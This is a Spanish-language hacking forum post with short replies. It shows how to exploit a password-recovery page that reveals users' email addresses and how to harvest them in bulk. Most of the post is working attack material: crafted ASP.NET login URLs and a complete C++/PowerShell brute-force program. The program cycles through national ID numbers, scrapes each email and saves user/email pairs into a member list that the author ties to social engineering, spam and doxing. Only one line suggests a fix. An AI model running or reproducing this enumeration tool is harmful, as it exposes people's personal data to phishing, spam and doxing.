Obteniendo memberlist's mediante fuerza bruta

Iniciado por andergedon, Junio 04, 2017, 01:33:28 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Junio 04, 2017, 01:33:28 AM Ultima modificación: Junio 04, 2017, 09:03:29 PM por EPSILON
Muy buenas amigos de Underc0de, después de un tiempo de inactividad (mucho trabajo y clases jeje) vuelvo para mostrarles una vulnerabilidad que se encuentra en algunos paneles de login. No es tan común, pero puede encontrarse por ahí. Por petición del sadmin no revelaré la identidad de la web, pero es la que utilizaré de ejemplo.
Sin más, empecemos a identificar y explotar.

IDENTIFICANDO LA VULNERABILIDAD
--------------------------------------

La vulnerabilidad permite obtener la lista de miembros de un sitio web, cuando este no utiliza protección de censura/cifrado en los correos afiliados a los usernames. Una memberlist puede ser utilizada para ataques de ing. social, spam, doxing, etc.

La vulnerabilidad se encuentra en los paneles de login con la opción de 'recuperar contraseña' Una vez que introducimos nuestro usuario para comprobar que tenemos una cuenta en el sitio nos devuelve un bonito mensaje junto con el correo afiliado a la cuenta, sin ningún tipo de censura.


Si nos devuelve este mensaje o algo parecido, podemos comprobar que SI es vulnerable

Si nos devuelve un mensaje parecido a este.

CitarSe ha enviado un correo a
COR****SAR**@gmail.com

Entonces NO es vulnerable.

Ahora que ya sabemos identificarla, continuemos.


EXPLOTANDO LA VULNERABILIDAD
--------------------------------------

Si observamos el comportamiento de las cabeceras http al tratar de logearnos, comprobamos como y a donde se envian nuestros argumentos colocados en el panel login (usuario y contraseña)


Ahora ya sabemos que 'TC' recibe el parametro del usuario y 'TextC' el de contraseña

Si obtenemos el link GET podemos reescribir nuestro user y pass para acceder de forma automática, quedando algo como esto:

Código: php
http://example.com/Login.aspx?__LASTFOCUS=&__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUJMjQ1MTQ4MDAyD2QWAgIDD2QWAgIhDw8WBh4EVGV4dAULUFNNIE1hcmFjYXkeBlRhcmdldAUGX0JsYW5rHgtOYXZpZ2F0ZVVybAUiaHR0cDovL3d3dy5mYWNlYm9vay5jb20vUFNNTWFyYWNheWRkZGfGZi%2F1Q3fY9CkB44UHgjFxycrA&__VIEWSTATEGENERATOR=F78B3E72&__EVENTVALIDATION=%2FwEWBQL7kOrFBQLs757wDAKFlKGwCgLM9PumDwK81vLUAXZ9c3WJBe6Rgos3yQ1aASODDKbk&TC=USUARIO2&TextC=CONTRASEÑA2&BPase=Acceder


Así podemos acceder a la web de forma directa. Ahora observamos las cabeceras pero esta vez buscando hacia donde se dirigen cuando tratamos de 'recuperar contraseña'

básicamente se obtiene la misma respuesta, lo único que cambia es el argumento 'EVENTTARGET' que pasa de estar vacío a tener como argumento 'LinkButton1' y porsupuesto la contraseña vacía.

Código: php
http://example.com/Login.aspx?__LASTFOCUS=&__EVENTTARGET=LinkButton1&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUJMjQ1MTQ4MDAyD2QWAgIDD2QWAgIhDw8WBh4EVGV4dAULUFNNIE1hcmFjYXkeBlRhcmdldAUGX0JsYW5rHgtOYXZpZ2F0ZVVybAUiaHR0cDovL3d3dy5mYWNlYm9vay5jb20vUFNNTWFyYWNheWRkZGfGZi%2F1Q3fY9CkB44UHgjFxycrA&__VIEWSTATEGENERATOR=F78B3E72&__EVENTVALIDATION=%2FwEWBQL7kOrFBQLs757wDAKFlKGwCgLM9PumDwK81vLUAXZ9c3WJBe6Rgos3yQ1aASODDKbk&TC=USUARIO1&TextC=&


Y de esa manera se ingresa a la web de recuperar contraseña de forma directa, colocando los argumentos en la URL y devolviendo el correo asociado (si es que el usuario existe, claro)


Para automatizar el proceso utilizaremos fuerza bruta para dar con los usuarios y obtener sus correos. En la web que uso como ejemplo, el nombre de usuario es el número del documento de identidad.

Para ello diseñé un programa, utilicé C++ y PowerShell. La verdad estoy muy seguro de que se puede hacer mucho más rápido con otros lenguajes de programación, y confieso que no me preocupé por la portabilidad del código, aún así lo dejo por si alguien desea tomarlo como referencia y saber mas o menos como funciona el proceso.

Código: cpp
#include <iostream>
#include <fstream>
#include <string.h>
#include <windows.h>
using namespace std;

char cedula[320];
char aux[] = {"http://example.comLogin.aspx?__LASTFOCUS=&__EVENTTARGET=LinkButton1&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUJMjQ1MTQ4MDAyD2QWAgIDD2QWAgIhDw8WBh4EVGV4dAULUFNNIE1hcmFjYXkeBlRhcmdldAUGX0JsYW5rHgtOYXZpZ2F0ZVVybAUiaHR0cDovL3d3dy5mYWNlYm9vay5jb20vUFNNTWFyYWNheWRkZGfGZi%2F1Q3fY9CkB44UHgjFxycrA&__VIEWSTATEGENERATOR=F78B3E72&__EVENTVALIDATION=%2FwEWBQL7kOrFBQLs757wDAKFlKGwCgLM9PumDwK81vLUAXZ9c3WJBe6Rgos3yQ1aASODDKbk&TC="};


char URL[600] = {"http://example.com/Login.aspx?__LASTFOCUS=&__EVENTTARGET=LinkButton1&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUJMjQ1MTQ4MDAyD2QWAgIDD2QWAgIhDw8WBh4EVGV4dAULUFNNIE1hcmFjYXkeBlRhcmdldAUGX0JsYW5rHgtOYXZpZ2F0ZVVybAUiaHR0cDovL3d3dy5mYWNlYm9vay5jb20vUFNNTWFyYWNheWRkZGfGZi%2F1Q3fY9CkB44UHgjFxycrA&__VIEWSTATEGENERATOR=F78B3E72&__EVENTVALIDATION=%2FwEWBQL7kOrFBQLs757wDAKFlKGwCgLM9PumDwK81vLUAXZ9c3WJBe6Rgos3yQ1aASODDKbk&TC="};


char URL2[] = {"&TextC=&"};
char TC[10];
char correo[50];

void wordlist();
void script();
void searcher();
bool request(char *&);

ofstream output;

int main(){
cout<<"\n\n\n";

cout<<"MEMBER LIST BRUTEFORCE || By: TOMJASP3R"<<endl;
wordlist(); //funcion que carga la wordlist a la variable cedula
int j=0;
do{

for(int i=0; i<strlen(cedula); i++){ //almacena una de las cedulas en TC
if(cedula[j] != ',' && cedula[j]!= '.'){
TC[i]=cedula[j];
}
if(cedula[j]==','){
break;
}
j++;
}

j=j+1;

cout<<"BUSCANDO USUARIO: "<<TC<<endl;

strcat(URL,TC); //..
strcat(URL,URL2); //armando la URL
fflush(stdout); //..
script(); //funcion que corre el script PowerShell

strcpy(URL,aux);


output.open("memberlist.txt");
searcher(); //funcion que busca el correo dentro del html

system("del C:\\users\\desktop\\html.txt");

}while(cedula[j]!='.');
output.close();
return 0;
}

void wordlist(){

ifstream archivo("wordlist.txt");

long cont=0;

if(archivo.fail()){
cout<<"ERROR // WORDLIST NO ENCONTRADO"<<endl;
}

else{
while(!archivo.eof()){
archivo.getline(cedula,sizeof(cedula));
}
}

}

void script(){//creando sript PowerShell

ofstream script;
script.open("download.ps1");

script<<"echo \"BUSCANDO CORREO\" "<<endl;
script<<"$url = \""<<URL<<"\""<<endl;
script<<"$output = \"C:\\users\\desktop\\html.txt\""<<endl;
script<<"Import-Module BitsTransfer"<<endl;
script<<"Start-BitsTransfer -Source $url -Destination $output"<<endl;
script<<"echo LISTO"<<endl;
script.close();

system("download.ps1");

}

void searcher(){//buscando correo en el HTML descargado
bool K=false;
ifstream html ("C:\\users\\desktop\\html.txt");

char *line;

line = new char[3000];

while(!html.eof()){//leyendo html hasta encontrar la linea donde se encuentra el correo
html.getline(line,3000);
if(request(line)==true){
break;
}

else{
continue;
}
}

int j=0;

for(int i=0; i<strlen(line); i++){

if(line[i] == 'a' && line[i+1] ==' ' && line[i+2]=='a'){//extrayendo correo y guardando en archivo txt

do{
correo[j]=line[i+3];
j++;
i++;

}while(line[i+3]!='<');
cout<<"CORREO ENCONTRADO!!: "<<correo<<endl;
output<<correo<<" || "<<TC<<endl;
K=true;
break;
}
}

if(K==false){
cout<<"USUARIO NO REGISTRADO"<<endl;
}

delete [] line;

}

bool request(char *& linea){

for(int i=0; i<strlen(linea); i++){

if(linea[i]=='3' && linea[i+1]=='9' && linea[i+2]=='4'){
return true;
}
}
return false;
}


En resumen, el programa construye la URL de acuerdo a un wordlist.txt con el nombre de los usuarios
esa URL la utiliza en un script de powershell para descargar el HTML de la página
una vez descargado el HTML, el programa busca la cadena de texto donde se encuentra el correo.
Si este se encuentra lo almacena en otro arhivo de texto plano.
Y así susesivamente hasta probar todos los usuarios.



Y de esa manera obtenemos la lista de miembros usuario/correo registrados en la web.

La solución para esto sería simplemente no mostrar un mensaje con el correo o en su defecto mostrarlo pero con algún tipo de sensura.

Eso ha sido todo por hoy, cualquier duda pueden comentar.

Saludos a todos!
\x11\x12\x13

Solo para servidores que corren un IIS supongo. Una duda ¿tienes un error en la linea 8?

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Solo para servidores que corren un IIS supongo. Una duda ¿tienes un error en la linea 8?

No necesariamente el servidor tiene que correr un IIS, con el simple hecho de que la plataforma devuelva el correo de la forma que se explica en el post, basta. Me dijeron que hace un par de años mercadolibre tenía esta falla.

Y no, ningún error en el código, a mi me compila perfecto.
\x11\x12\x13

Hombre si la web esta hecha en .NET necesariamente debería correr en servidores con Windows, tambien con Mono y librerias de .NET pero supongo que si vas a usar ASP como lenguaje la mayoria usan servidores Windows